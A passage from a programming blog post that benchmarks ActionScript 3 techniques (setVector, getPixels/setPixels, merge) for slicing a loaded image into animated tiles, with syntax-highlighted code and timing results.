		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> tmpVec:Vector.<span style="color: #66cc66;">&lt;</span>uint<span style="color: #66cc66;">&gt;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		  	tmpVec = tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			tileRect.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			tileRect.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">setVector</span><span style="color: #66cc66;">&#40;</span>tileRect,tmpVec<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;vector push:&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>on my machine it takes only <strong>~9</strong> ms to extract tiles slices (yes, 3 times faster!!!) and ~1ms for pushing them all in the canvas for each loop iteration</p>
<p>Third strike: <strong>getPixels\setPixels</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code7'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1447"><td class="code" id="p144code7"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>ByteArray<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>ByteArray<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> tileRect:Rectangle;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	tileRect = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 tiles<span style="color: #66cc66;">&#91;</span>tiles.<span style="color: #0066CC;">length</span><span style="color: #66cc66;">&#93;</span> = image.<span style="color: #006600;">getPixels</span><span style="color: #66cc66;">&#40;</span>rect<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;getPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			tileRect.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			tileRect.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">setPixels</span><span style="color: #66cc66;">&#40;</span>tileRect,tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
			tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">position</span> = <span style="color: #cc66cc;">0</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;setPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>a nice one, <strong>~ 17</strong> ms to extract and ~2ms to loop on my mac, faster than copyPixels but vectors are still leading&#8230;</p>
<p>Fourth strike: <strong>merge</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code8'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1448"><td class="code" id="p144code8"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 <span style="color: #000000; font-weight: bold;">var</span> currTile:BitmapData= <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span>tileWidth, tileHeight, <span style="color: #000000; font-weight: bold;">true</span>, 0x00000000<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 currTile.<span style="color: #006600;">merge</span><span style="color: #66cc66;">&#40;</span>image,rect,pnt,0xFF,0xFF,0xFF,0xFF<span style="color: #66cc66;">&#41;</span>;
			 tiles<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = currTile;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
